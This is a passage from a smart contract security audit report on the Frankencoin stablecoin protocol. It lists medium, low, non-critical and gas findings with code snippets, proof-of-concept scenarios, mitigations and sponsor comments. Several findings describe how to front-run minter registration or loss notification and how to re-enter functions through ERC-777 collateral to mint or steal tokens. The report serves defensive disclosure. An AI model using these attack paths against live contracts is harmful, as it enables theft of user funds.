Consider, as well, that Frankencoin has a significant additional barrier to liquidating its positions when compared with MakerDAO: challenging requires collateral. I’ll actually discuss this piece of the challenge design in more detail in a separate report, but it bears mentioning that such a requirement will only make it less likely that positions will be challenged under extreme network and market conditions in the first place. If huge swaths of positions against a highly trusted collateral type all violate their liquidation prices concurrently, the amount of capital required to challenge all unsafe positions at once is unlikely to materialize quickly. This will lead to a severe loss of confidence in the ZCHF peg, as the system’s bad debt balloons, auctions clear for pennies on the dollar, and large, undercollateralized positions remain unchallenged. The peg likely could not withstand the ZCHF panic selling that would doubtlessly occur alongside this.
In fact, this vulnerability does not even require a malicious actor to make the protocol insolvent in market conditions such as these. Since a challenge with no bids will determine the collateral to be worthless, the protocol will fail to liquidate any collateral from some or all of its unsafe positions.
Recommended Mitigation Steps
Since the high barrier to challenging positions is better covered in another report, its mitigation will be discussed there as well.
For the greater underlying problem in this report, the mitigation is actually relatively simple: the auctions should be converted to “dutch auctions.” This simply means that, rather than starting from zero and accepting the highest bid, the auction should start above the liquidation price and gradually decrease. This will prevent any challenges from ending with winning near-zero bids.
Under certain extreme, but inevitable, network conditions, auctions will not be effective in covering the bad debt of a challenged position
The main function of challenges here is to prevent positions with wrong pricing from being minted, but will leave open for sponsor’s comment since in some cases a low bid can cause loss to the protocol.
luziusmeisser (Frankencoin) disagreed with severity and commented:
Very interesting input.
However, I’m not convinced that a Dutch auction would always be preferrable. One of the strength of the FRankencoin system is that its auction mechanism can handle relatively exotic collaterals. For those, it might take a few days for the bidders to evaluate them or to organize the bid. If the price falls too low during that time, the challenge might be successful even though the market price is above the liquidation price…
I would acknowledge this issue as medium severity.
hansfriese (judge) decreased severity to Medium
[M-13] Can’t pause or remove a minter
Submitted by Ruhum, also found by juancito, 7siech, rbserver, santipu_, deliriusz, hihen, foxb868, Lirios, zaevlad, ladboy233, DadeKuma, and J4de
The project is supposed to be self-governing. Token owners are able to suggest new minters and collateral. The auction mechanism allows participants to remove collateral from the system if it’s deemed unhealthy. But, there’s no way to remove a registered minter.
Why would you want to remove a registered minter? Because they can have bugs that could break the whole system. The current minter, MintingHub, for example, implements a novel auction mechanism to price collateral instead of choosing the industry standard Chainlink oracles. While I support the idea of having a fully decentralized system, it does add additional risk to the project. A risk that’s taken not only by the protocol team but every ZCHF holder as well.
Obviously, these are just hypotheticals. But, the system is not equipped to handle a scenario where the minter malfunctions.
Proof of Concept
After a minter is suggested you have generally 10 days to deny it. After that, there’s no way to remove it:
function denyMinter(address _minter, address[] calldata _helpers, string calldata _message) override external {
if (block.timestamp > minters[_minter]) revert TooLate();
reserve.checkQualified(msg.sender, _helpers);
delete minters[_minter];
emit MinterDenied(_minter, _message);
}Recommended Mitigation Steps
Implement the ability for token holders to temporarily pause a minter as well as remove it altogether.
luziusmeisser (Frankencoin) acknowledged and commented:
I have thought about the ability to remove old minters, but decided against it.
Instead, experimental minters should come with their own limits (time, pause function, volume limits, etc.). They are free to include that. Minters that do not include it, can be expected to be denied unless they have been really thoroughly audited.
So in fact, it is possible to pause a minter assuming the minter supports that functionality.
[M-14] Re-org attack in factory
Submitted by 0xWeiss, also found by V_B, Breeje, and Proxy
The createClone function deploys a clone contract using the create, where the address derivation depends only on the PositionFactory nonce.
Re-orgs can happen in all EVM chains. In ethereum, where currently Frankencoin is deployed, it is not “super common” but it still happens, being the last one less than a year ago:
https://decrypt.co/101390/ethereum-beacon-chain-blockchain-reorg
The issue increases the changes of happening because frankencoin is thinking about deploying also in L2’s/ rollups, proof:
https://discord.com/channels/810916927919620096/1095308824354758696/1096693817450692658
where re-orgs have been much more active:
https://protos.com/polygon-hit-by-157-block-reorg-despite-hard-fork-to-reduce-reorgs/
being the last one, less than a year ago.
The issue would happen when users rely on the address derivation in advance or try to deploy the position clone with the same address on different EVM chains, any funds sent to the new clone could potentially be withdrawn by anyone else. All in all, it could lead to the theft of user funds.
As you can see in a previous report, the issue should be marked and judged as a medium:
Proof of Concept
Imagine that Alice deploys a position clone, and then sends funds to it. Bob sees that the network block reorg happens and calls clonePosition. Thus, it creates a position clone with an address to which Alice sends funds. Then Alice’s transactions are executed and Alice transfers funds to Bob’s position contract.
Recommended Mitigation Steps
The recommendation is basically the same as:
Deploy the cloned Position via create2 with a specific salt that includes msg.sender and address _existing
luziusmeisser (Frankencoin) confirmed
[M-15] notifyLoss can be frontrun by redeem
Submitted by 0xWaitress
notifyLoss immediately transfer zchf from reserve to the minter, reducing the amount of reserve and hence the equity and zchf to claim pershare.
While the deposit has 90 days cooldown before depositor can withdraw, current depositor that passed this cooldown can take advantage of a notifyLoss event by first frontrunning the notifyLoss by redeeming, then re-depositing into the protocol to take advantage of the reducedvalue per share.
notifyLoss can only be called by MintingHub::end, current depositor can bundle redeem + end + deposit, when they see a challenge that is ending in loss for the reserve.
Recommended Mitigation Steps
This is a re-current issue for most defi strategy to account loss in a mev-resistent way, a few possible solutions:
- create an additional window for MintingHub::end to be called by a whitelist, before it opens up to the public. The whitelist is trusted bot that will call
endthrough private mempool. - amortised the loss in the next coming period of time instead in 1 go with a
MAX_SPEED. - create an withdrawal queue such that the final withdrawal price is dependent on the upcoming equity change(s)
luziusmeisser (Frankencoin) acknowledged
Low Risk and Non-Critical Issues
For this audit, 81 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by juancito received the top score from the judge.
The following wardens also submitted reports: rbserver, 0xAgro, EloiManuel, joestakey, MohammedRizwan, nadin, aria, MiloTruck, lukris02, Aymen0909, slvDev, pontifex, giovannidisiena, Arz, decade, karanctf, m9800, Kaysoft, DedOhWale, qpzm, tnevler, Udsen, mov, santipu_, Madalad, DishWasher, parlayan_yildizlar_takimi, ltyu, ChainHunters, xmxanuel, SanketKogekar, 3dgeville, niser93, CodeFoxInc, bin2chen, LeoGold, 0xTheC0der, matrix_0wl, yixxas, IceBear, SaharDevep, Inspex, BenRai, 0xNorman, BRONZEDISC, Bauchibred, ayden, SolidityATL, kodyvim, catellatech, ChrisTina, BGSecurity, evmboi32, LewisBroadhurst, descharre, Bauer, p0wd3r, mrpathfindr, wonjun, Jorgect, Nyx, W0RR1O, berlin-101, 8olidity, eyexploit, 0xnev, 0xStalin, codeslide, 0xSmartContract, RaymondFam, shealtielanz, pavankv, georgits, fatherOfBlocks, crc32, Sathish9098, Polaris_tow, 0xWaitress, ravikiranweb3, and 0xhacksmithh .
Low Issues
• [L-01] Frontrunning suggestMinter may lead to stolen funds
• [L-02] Not validating MIN_APPLICATION_PERIOD can lead to stolen funds
• [L-03] MIN_HOLDING_DURATION will not hold a correct value if deployed on other network
• [L-04] Positions should be expired when block.timestamp = expiration
• [L-05] No pause mechanism in case of depeg of XCHF token
• [L-06] Tokens with very large decimals will not work as expected
• [L-07] minBid can be bypassed to bid indefinitely for small amounts
• [L-08] ERC-777 tokens can lead to re-entrancy vulnerabilities
• [L-09] Challenges can be split after they end
[L-01] Frontrunning suggestMinter may lead to stolen funds
Frankencoin::suggestMinter does not validate _applicationPeriod and _applicationFee when totalSupply() is 0
This can be useful for the admins to create the first minter.
Nevertheless the function can be called by anyone until some tokens are minted.
Impact
In the worst scenario the admins can deploy all contracts. Send funds to the StablecoinBridge, and then decide to suggest the first minter and mint some coins.
An attacker can call suggestMinter as soon as the contracts are created and some funds are sent to burn them and retrieve the paired stable coin provided by the bridge.
On a less dramatic scenario anyone can frontrun the suggestMinter function, which will create a new minter for the attacker. This will result in the contracts having to be re-deployed.
Proof of Concept
Frankencoin::suggestMinter does not validate _applicationPeriod and _applicationFee when totalSupply() is 0:
if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
if (_applicationFee < MIN_FEE && totalSupply() > 0) revert FeeTooLow();Recommended Mitigation Steps
Add some admin permission to assign the first minter, or deploy everything through a deployer contract, and call suggestMinter in it, so that it cannot be front-runned.
[L-02] Not validating MIN_APPLICATION_PERIOD can lead to stolen funds
MIN_APPLICATION_PERIOD is defined on the Frankencoin constructor and is immutable. In case the contracts are deployed with _minApplicationPeriod = 0, an attacker can become a minter, burn the token and steal assets on other contracts like the StablecoinBridge.
constructor(uint256 _minApplicationPeriod) ERC20(18){
MIN_APPLICATION_PERIOD = _minApplicationPeriod;
reserve = new Equity(this);
}Recommended Mitigation Steps
Validate that the MIN_APPLICATION_PERIOD is greater than some minimum value in the constructor.
[L-03] MIN_HOLDING_DURATION will not hold a correct value if deployed on other network
MIN_HOLDING_DURATION in Equity is calculated assuming that it will be only deployed in Ethereum Mainnet, where each block is added every 12 seconds.
uint256 public constant MIN_HOLDING_DURATION = 90*7200 << BLOCK_TIME_RESOLUTION_BITS; // Set to 5 for local testingThat will not be true if the contract is deployed on other networks
Recommended Mitigation Steps
Define MIN_HOLDING_DURATION via a variable in the constructor, or add a comment on the code make clear this issue.
[L-04] Positions should be expired when block.timestamp = expiration
The alive modifier in Position does not revert when block.timestamp == expiration:
block.timestamp > expiration) revert Expired();This by itself only allows positions to operate on that exact block, but if the noCooldown modifier had the same issue, it could lead to exploits when all values are equal.
if (block.timestamp <= cooldown) revert Hot();It was noticed that some changes to > operatos have been performed when replacing require statements with revert statements.
It is important to check this subtle differences to prevent any issue.
On top of that, the tryAvertChallenge already checks block.timestamp >= expiration for expiration:
/**
* @notice check whether challenge can be averted
* @param _collateralAmount amount of collateral challenged (dec18)
* @param _bidAmountZCHF bid amount in ZCHF (dec18)
* @return true if challenge can be averted
*/
function tryAvertChallenge(uint256 _collateralAmount, uint256 _bidAmountZCHF) external onlyHub returns (bool) {
if (block.timestamp >= expiration){Recommended Mitigation Steps
For code consistency, and to prevent any possible issues with the exact block of expiration:
- block.timestamp > expiration) revert Expired();
+ block.timestamp >= expiration) revert Expired();[L-05] No pause mechanism in case of depeg of XCHF token
The system allows minting 1-1 FrankenCoin with the same amount of XCHF tokens. In the case the stable coin XCHF depegs from its value it will greatly affect the value of the FrankenCoin ZCHF token, as they can be redeemed immediately.
Recommended Mitigation Steps
It should be up for consideration the implementation of a pause function on the StablecoinBridge to prevent minting tokens 1-1 in case of emergency.
[L-06] Tokens with very large decimals will not work as expected
Although not common, it is possible that ERC-20 tokens have decimals() > 36. The current system acknowledges it, but does not prevent anyone from creating a position with them. This will result in the token not working as expected.
* @param _liqPrice Liquidation price with (36 - token decimals) decimals,
* e.g. 18 decimals for an 18 decimal collateral, 36 decimals for a 0 decimal collateral.Recommended Mitigation Steps
Validate that tokens have < than 36 decimals or the desired value
[L-07] minBid can be bypassed to bid indefinitely for small amounts
MintingHub::minBid() returns the same number as the challenge.bid for small numbers:
function minBid(Challenge storage challenge) internal view returns (uint256) {
return (challenge.bid * 1005) / 1000;
}For challenge.bid <= 199, the result of minBid is the same as the bid because of the precision loss error.
minBid is used in the bid function to check if the bid should be postponed:
if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge)); // @audit
uint256 earliestEnd = block.timestamp + 30 minutes;
if (earliestEnd >= challenge.end) {
// bump remaining time like ebay does when last minute bids come in
// An attacker trying to postpone the challenge forever must increase the bid by 0.5%
// every 30 minutes, or double it every three days, making the attack hard to sustain
// for a prolonged period of time.
challenge.end = earliestEnd;
}Recommended Mitigation Steps
Replace the < with <=. That way it will revert when the amounts are low enough to return the same number.
- if (_bidAmountZCHF < minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge));
+ if (_bidAmountZCHF <= minBid(challenge)) revert BidTooLow(_bidAmountZCHF, minBid(challenge));[L-08] ERC-777 tokens can lead to re-entrancy vulnerabilities
ERC-777 behave like ERC-20 tokens, but they make a callback when tokens are transfered.
Impact
Positions containing ERC-777 tokens as collateral may be victim of re-entrancy attacks.
The possible impacts are unrestricted minting of ZCHF tokens via end, and stealing ZCHF tokens from the MintingHub, both critical.
On top of that, some inconsistency on the positions’ storage can be result of these unexpected behavior.
The actual impact relies on the minters of the protocol allowing the possibility of using ERC-777 tokens as collateral or denying them.
Proof of Concept
These functions in the MintingHub are suceptible to re-entrancy attacks. An attacker can perform them by first launching a challenge, and then calling the respected functions. As the bidder and challenger will be the same, the collateral will be transfered between attacker accounts.
end() calls returnCollateral early on the function, before the challenge is deleted. So, it can be re-entered to mint extra tokens via zchf.notifyLoss:
// returnCollateral()
challenge.position.collateral().transfer(msg.sender, challenge.size);bid() can be re-entered when the bid is high enough to avert the challenge.
First, the attacker needs to have a previous bid, or the attacker can create one.
The attacker would then be able to steal the initial bid multiple times via the zchf.transfer(challenge.bidder, challenge.bid);. Assets will be taken from the MintingHub contract.
The re-entrancy can be executed by calling the function with a value big enough to avert the challenge:
// bid()
challenge.position.collateral().transfer(challenge.challenger, challenge.size); // return the challenger's collateralRecommended Mitigation Steps
Add re-entrancy guards to functions that transfer collateral, and implement the Checks-Effects-Interaction pattern. Or disallow the use of ERC-777 tokens as collateral.
[L-09] Challenges can be split after they end
Impact
Griefing users by diving their already ended challenges
Proof of Concept
function testBidAfterEnd() public {
Position position = Position(initPosition());
skip(7 * 86_400 + 60);
User challenger = new User(zchf);
col.mint(address(challenger), 1001);
uint256 challengeNumber = challenger.challenge(hub, address(position), 1001);
uint256 bidAmount = 1 ether;
bob.obtainFrankencoins(swap, 1 ether);
bob.bid(hub, challengeNumber, bidAmount);
skip(7 * 86_400 + 60);
vm.startPrank(address(alice));
hub.splitChallenge(challengeNumber, 500); // @audit
hub.end(challengeNumber); // @audit
vm.stopPrank();
}Recommended Mitigation Steps
Add if (block.timestamp >= challenge.end) revert TooLate(); to the splitChallenge function
Non-Critical Issues
• [N-01] No way to track challenges created by a user
• [N-02] Equity tokens sent to oneself are processed to update votes
• [N-03] Misleading comment about position start value
• [N-04] Rebasing tokens can lead to bad accountability of the positions
[N-01] No way to track challenges created by a user
Challenges launched via the MintingHub are added to a general challenges array.
But it will be troublesome to track all challenges created by a user as long as that array grows, especially considering that anyone can split challenges and make that array grow faster than expected.
Recommended Mitigation Steps
Create a mapping that tracks the challenges launched by users, and also adds them when challenges are splitted.
[N-02] Equity tokens sent to oneself are processed to update votes
Tokens sent are pre-processed in _beforeTokenTransfer. The adjustRecipientVoteAnchor and adjustTotalVotes are called, where calculations for the user and the total votes are made.
In the current codebase it doesn’t generate any issues, but any uncatched precision loss or some subtle changes to those calculations could be used to perform some exploit.
function _beforeTokenTransfer(address from, address to, uint256 amount) override internal {
super._beforeTokenTransfer(from, to, amount);
if (amount > 0){
// No need to adjust the sender votes. When they send out 10% of their shares, they also lose 10% of
// their votes so everything falls nicely into place.
// Recipient votes should stay the same, but grow faster in the future, requiring an adjustment of the anchor.
uint256 roundingLoss = adjustRecipientVoteAnchor(to, amount);
// The total also must be adjusted and kept accurate by taking into account the rounding error.
adjustTotalVotes(from, amount, roundingLoss);
}
}Recommended Mitigation Steps
The current implementation makes the users sending the tokens lose the votes. This can be the expected behavior.
The following suggestions adds some safety to the function, but in exchange, it changes the original functionality. With this change, users will not lose votes if they send tokens to themselves:
function _beforeTokenTransfer(address from, address to, uint256 amount) override internal {
super._beforeTokenTransfer(from, to, amount);
- if (amount > 0){
+ if (amount > 0 && from != to){
// No need to adjust the sender votes. When they send out 10% of their shares, they also lose 10% of
// their votes so everything falls nicely into place.
// Recipient votes should stay the same, but grow faster in the future, requiring an adjustment of the anchor.
uint256 roundingLoss = adjustRecipientVoteAnchor(to, amount);
// The total also must be adjusted and kept accurate by taking into account the rounding error.
adjustTotalVotes(from, amount, roundingLoss);
}
}[N-03] Misleading comment about position start value
The code suggests that there is “one week” time to deny the position
start = block.timestamp + initPeriod; // one week time to deny the positionBut some lines before it specifies 3 days:
require(initPeriod >= 3 days); // must be at least three days, recommended to use higher valuesRecommended Mitigation Steps
Fix the comment or the required value
[N-04] Rebasing tokens can lead to bad accountability of the positions
Rebasing tokens change the balanceOf value of the accounts that hold their tokens.
Using rebasing tokens as collateral for positions can lead to positions minting more tokens than expected, or challenges created, averted or won with different amounts than expected.
I would suggest not allowing rebasing tokens to be used on the protocol.
[N-02]: It can be seen as a low risk when from = to.
[N-03]: The documentation said 7 days during contest period, so this can be a low risk.
Gas Optimizations
For this audit, 43 reports were submitted by wardens detailing gas optimizations. The report highlighted below by c3phas received the top score from the judge.
The following wardens also submitted reports: naman1778, EvanW, MohammedRizwan, Udsen, aria, nadin, Aymen0909, Breeje, decade, karanctf, 0xSmartContract, Rageur, 0xDACA, hunter_w3b, slvDev, DishWasher, ReyAdmirado, xmxanuel, matrix_0wl, Erko, niser93, __141345__, SAAJ, pfapostol, Raihan, trysam2003, JCN, Satyam_Sharma, BenRai, RaymondFam, sebghatullah, codeslide, 0xnev, petrichor, pavankv, fatherOfBlocks, Sathish9098, Proxy, Polaris_tow, NoamYakov, 0xRB, and 0xhacksmithh.
Notes
NB: Some functions have been truncated where necessary to just show affected parts of the code. Through out the report some places might be denoted with audit tags to show the actual place affected.
[G-01] IF’s/require() statements that check input arguments should be at the top of the function
Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a Gcoldsload (2100 gas) in a function that may ultimately revert in the unhappy case.
Cheaper to check the function parameter before making an external function call
File: /contracts/Equity.sol
290: function calculateProceeds(uint256 shares) public view returns (uint256) {
291: uint256 totalShares = totalSupply();
292: uint256 capital = zchf.equity();
293: require(shares + ONE_DEC18 < totalShares, "too many shares"); // make sure there is always at least one share
294: uint256 newTotalShares = totalShares - shares;
295: uint256 newCapital = _mulD18(capital, _power3(_divD18(newTotalShares, totalShares)));
296: return capital - newCapital;
297: }As we have a require statement verifying a functional parameter, it would be cheaper to run this check first before making an external function call.
diff --git a/contracts/Equity.sol b/contracts/Equity.sol
index 7057ed6..817e37a 100644
--- a/contracts/Equity.sol
+++ b/contracts/Equity.sol
@@ -289,8 +289,8 @@ contract Equity is ERC20PermitLight, MathUtil, IReserve {
*/
function calculateProceeds(uint256 shares) public view returns (uint256) {
uint256 totalShares = totalSupply();
- uint256 capital = zchf.equity();
require(shares + ONE_DEC18 < totalShares, "too many shares"); // make sure there is always at least one share
+ uint256 capital = zchf.equity();
uint256 newTotalShares = totalShares - shares;
uint256 newCapital = _mulD18(capital, _power3(_divD18(newTotalShares, totalShares)));
return capital - newCapital;Move the require statement at the beginning of the function
File: /contracts/MintingHub.sol
88: function openPosition(
89: address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral,
90: uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds,
91: uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) {
//@audit: truncated some chunk here
107: zchf.registerPosition(address(pos));
108: zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE);
109: require(_initialCollateral >= _minCollateral, "must start with min col");We have a require statement that validates some functional parameters. As we would end up reverting if this parameters don’t meet the requirements, it’s better to check them at the beggining of the function before performing other operations that would just waste gas in case we end up reverting
diff --git a/contracts/MintingHub.sol b/contracts/MintingHub.sol
index 663b205..0739259 100644
--- a/contracts/MintingHub.sol
+++ b/contracts/MintingHub.sol
@@ -89,6 +89,8 @@ contract MintingHub {
address _collateralAddress, uint256 _minCollateral, uint256 _initialCollateral,
uint256 _mintingMaximum, uint256 _initPeriodSeconds, uint256 _expirationSeconds, uint256 _challengeSeconds,
uint32 _mintingFeePPM, uint256 _liqPrice, uint32 _reservePPM) public returns (address) {
+ require(_initialCollateral >= _minCollateral, "must start with min col");
+
IPosition pos = IPosition(
POSITION_FACTORY.createNewPosition(
msg.sender,
@@ -106,7 +108,6 @@ contract MintingHub {
);
zchf.registerPosition(address(pos));
zchf.transferFrom(msg.sender, address(zchf.reserve()), OPENING_FEE);
- require(_initialCollateral >= _minCollateral, "must start with min col");
IERC20(_collateralAddress).transferFrom(msg.sender, address(pos), _initialCollateral);
return address(pos);Move the if check condition above the function call
File: /contracts/Position.sol
76: function initializeClone(address owner, uint256 _price, uint256 _limit, uint256 _coll, uint256 _mint) external onlyHub {
77: if(_coll < minimumCollateral) revert InsufficientCollateral();
78: setOwner(owner);
80: price = _mint * ONE_DEC18 / _coll;
81: if (price > _price) revert InsufficientCollateral();We have an internal function call that simply sets a new owner. We also have a check of price > _price that would revert in case that check fails. As this is not dependent on the internal function call, we can do the check first so that incase of a revert on the if (price > _price) revert InsufficientCollateral(); we wouldn’t waste gas doing the internal function call
diff --git a/contracts/Position.sol b/contracts/Position.sol
index 3e18534..88ecfe5 100644
--- a/contracts/Position.sol
+++ b/contracts/Position.sol
@@ -75,10 +75,11 @@ contract Position is Ownable, IPosition, MathUtil {
*/
function initializeClone(address owner, uint256 _price, uint256 _limit, uint256 _coll, uint256 _mint) external onlyHub {
if(_coll < minimumCollateral) revert InsufficientCollateral();
- setOwner(owner);
-
price = _mint * ONE_DEC18 / _coll;
if (price > _price) revert InsufficientCollateral();
+ setOwner(owner);[G-02] The result of a function call should be cached rather than re-calling the function
External calls are expensive. Consider caching the following:
Equity.sol.adjustTotalVotes(): Results of anchorTime() should be cached rather than call it twice
File: /contracts/Equity.sol
144: function adjustTotalVotes(address from, uint256 amount, uint256 roundingLoss) internal {
145: uint256 lostVotes = from == address(0x0) ? 0 : (anchorTime() - voteAnchor[from]) * amount;
146: totalVotesAtAnchor = uint192(totalVotes() - roundingLoss - lostVotes);
147: totalVotesAnchorTime = anchorTime();
148: }diff --git a/contracts/Equity.sol b/contracts/Equity.sol
index 7057ed6..6344fef 100644
--- a/contracts/Equity.sol
+++ b/contracts/Equity.sol
@@ -142,9 +142,10 @@ contract Equity is ERC20PermitLight, MathUtil, IReserve {
* @param amount amount to be sent
*/
function adjustTotalVotes(address from, uint256 amount, uint256 roundingLoss) internal {
- uint256 lostVotes = from == address(0x0) ? 0 : (anchorTime() - voteAnchor[from]) * amount;
+ uint64 _anchorTime = anchorTime();
+ uint256 lostVotes = from == address(0x0) ? 0 : (_anchorTime - voteAnchor[from]) * amount;
totalVotesAtAnchor = uint192(totalVotes() - roundingLoss - lostVotes);
- totalVotesAnchorTime = anchorTime();
+ totalVotesAnchorTime = _anchorTime;
}Frankencoin.sol.suggestMinter(): Result of totalSupply() should be cached here(sad path)
File: /contracts/Frankencoin.sol
83: function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external {
84: if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
85: if (_applicationFee < MIN_FEE && totalSupply() > 0) revert FeeTooLow();
86: if (minters[_minter] != 0) revert AlreadyRegistered();
87: _transfer(msg.sender, address(reserve), _applicationFee);
88: minters[_minter] = block.timestamp + _applicationPeriod;
89: emit MinterApplied(_minter, _applicationPeriod, _applicationFee, _message);
90: }diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.sol
index e9e87dc..556d882 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -81,8 +81,9 @@ contract Frankencoin is ERC20PermitLight, IFrankencoin {
* minter.
*/
function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external {
- if (_applicationPeriod < MIN_APPLICATION_PERIOD && totalSupply() > 0) revert PeriodTooShort();
- if (_applicationFee < MIN_FEE && totalSupply() > 0) revert FeeTooLow();
+ uint256 _totalSupply = totalSupply();
+ if (_applicationPeriod < MIN_APPLICATION_PERIOD && _totalSupply > 0) revert PeriodTooShort();
+ if (_applicationFee < MIN_FEE && _totalSupply > 0) revert FeeTooLow();
if (minters[_minter] != 0) revert AlreadyRegistered();
_transfer(msg.sender, address(reserve), _applicationFee);
minters[_minter] = block.timestamp + _applicationPeriod;Frankencoin.sol.calculateAssignedReserve(): Results of minterReserve() should be cached
File: /contracts/Frankencoin.sol
204: function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) {
205: uint256 theoreticalReserve = _reservePPM * mintedAmount / 1000000;
206: uint256 currentReserve = balanceOf(address(reserve));
207: if (currentReserve < minterReserve()){ //@audit: Initial call
208: // not enough reserves, owner has to take a loss
209: return theoreticalReserve * currentReserve / minterReserve();//@audit: second call
210: } else {
211: return theoreticalReserve;
212: }
213: }diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.sol
index e9e87dc..1f0a60e 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -204,9 +204,10 @@ contract Frankencoin is ERC20PermitLight, IFrankencoin {
function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) {
uint256 theoreticalReserve = _reservePPM * mintedAmount / 1000000;
uint256 currentReserve = balanceOf(address(reserve));
- if (currentReserve < minterReserve()){
+ uint256 _minterReserve = minterReserve();
+ if (currentReserve < _minterReserve){
// not enough reserves, owner has to take a loss
- return theoreticalReserve * currentReserve / minterReserve();
+ return theoreticalReserve * currentReserve / _minterReserve;
} else {
return theoreticalReserve;
}[G-03] Multiple accesses of a mapping/array should use a local variable cache
Caching a mapping’s value in a local storage or calldata variable when the value is accessed multiple times saves ~42 gas per access due to not having to perform the same offset calculation every time.
Help the Optimizer by saving a storage variable’s reference instead of repeatedly fetching it
To help the optimizer,declare a storage type variable and use it instead of repeatedly fetching the reference in a map or an array.
As an example, instead of repeatedly calling someMap[someIndex], save its reference like this: SomeStruct storage someStruct = someMap[someIndex] and use it.
Frankencoin.sol.suggestMinter(): minters[_minter] should be cached in local storage
File: /contracts/Frankencoin.sol
83: function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external {
86: if (minters[_minter] != 0) revert AlreadyRegistered();//@audit: 1st access
87: _transfer(msg.sender, address(reserve), _applicationFee);
88: minters[_minter] = block.timestamp + _applicationPeriod; //@audit: 2nd access[G-04] Using unchecked blocks to save gas
Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn’t possible (as an example, when a comparison is made before the arithmetic operation), some gas can be saved by using an unchecked block
see resource
File: /contracts/Equity.sol
247: uint256 shares = equity <= amount ? 1000 * ONE_DEC18 : calculateSharesInternal(equity - amount, amount);The operation equity - amount cannot underflow as it would only be performed if equity <= amount
File: /contracts/Equity.sol
294: uint256 newTotalShares = totalShares - shares;The above operation cannot underflow due to the check on Line 293 which checks that shares + ONE_DEC18 < totalShares. This means that whatever value shares would have, the operation would only be performed if it’s less than totalShares
File: /contracts/Frankencoin.sol
144: return balance - minReserve;The operation balance - minReserve cannot underflow due to the check on Line 141 that ensures that balance is greater than minReserve before performing this operation
File: /contracts/Frankencoin.sol
286: _mint(msg.sender, _amount - reserveLeft);The operation _amount - reserveLeft cannot underflow due to the check on Line 282 which ensures that our arithmetic operation would only be performed if reserveLeft is less than _amount
File: /contracts/Position.sol
138: collateral.transferFrom(msg.sender, address(this), newCollateral - colbal);The operation newCollateral - colbal cannot underflow due to the check on Line 137 that ensures that newCollateral is greater than colbal before performing the arithmetic operation
File: /contracts/Position.sol
142: zchf.burnFrom(msg.sender, minted - newMinted, reserveContribution);The operation minted - newMinted cannot underflow due to the check on Line 141 that ensures that minted is greater than newMinted before performing the arithmetic operation
File: /contracts/Position.sol
146: withdrawCollateral(msg.sender, colbal - newCollateral);The operation colbal - newCollateral cannot underflow due to the check on Line 145 that ensures that newCollateral is greater than colbal before performing the arithmetic operation
File: /contracts/Position.sol
150: mint(msg.sender, newMinted - minted);The operation newMinted - minted cannot underflow due to the check on Line 149 that ensures that newMinted is greater than minted before performing the arithmetic operation
File: /contracts/Position.sol
240: function notifyRepaidInternal(uint256 amount) internal {
241: if (amount > minted) revert RepaidTooMuch(amount - minted);
242: minted -= amount;
243: }There are two operations here amount - minted and minted -= amount , The two operations cannot underflow as they are both protected by the check if (amount > minted). The first one would only be performed during a revert which would be as a result of amount being greater than minted
The second operation would be performed if we don’t hit the revert condition which would mean minted was greater than amount
File: /contracts/MintingHub.sol
263: IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);The operation challenge.bid - effectiveBid cannot underflow due to the check on Line 261 that ensures that challenge.bid is greater than effectiveBid before performing the arithmetic operation
File: /contracts/MintingHub.sol
268: zchf.transfer(owner, effectiveBid - fundsNeeded);The operation effectiveBid - fundsNeeded cannot underflow due to the check on Line 267 that ensures that effectiveBid is greater than fundsNeeded before performing the arithmetic operation
File: /contracts/MintingHub.sol
270: zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everythingThe operation fundsNeeded - effectiveBid cannot underflow due to the check on Line 269 that ensures that effectiveBid is less than fundsNeeded before performing the arithmetic operation
File: /contracts/ERC20.sol
132: _approve(sender, msg.sender, currentAllowance - amount);The operation currentAllowance - amount cannot underflow due to the check on Line 131 that ensures that this arithmetic operation would only be performed if currentAllowance is greater than amount
File: /contracts/ERC20.sol
156: _balances[sender] -= amount;The above operation cannot underflow as we have a check on Line 155 that ensures that
_balances[sender] cannot be less than amount before we perform the subtractio
[G-05] 2**<n> should be re-written as type(uint<n>).max
Earlier versions of solidity can use uint<n>(-1) instead. Expressions not including the - 1 can often be re-written to accomodate the change (e.g. by using a > rather than a >=, which will also save some gas)
File: /contracts/Equity.sol
241: function onTokenTransfer(address from, uint256 amount, bytes calldata) external returns (bool) {
253: require(totalSupply() < 2**128, "total supply exceeded");
254: return true;
255: }As our operation didn’t include the -1 we’ve changed the sign to <= rather than just <
diff --git a/contracts/Equity.sol b/contracts/Equity.sol
index 7057ed6..95816f3 100644
--- a/contracts/Equity.sol
+++ b/contracts/Equity.sol
@@ -250,7 +250,7 @@ contract Equity is ERC20PermitLight, MathUtil, IReserve {
// limit the total supply to a reasonable amount to guard against overflows with price and vote calculations
// the 128 bits are 68 bits for magnitude and 60 bits for precision, as calculated in an above comment
- require(totalSupply() < 2**128, "total supply exceeded");
+ require(totalSupply() <= type(uint128).max , "total supply exceeded");
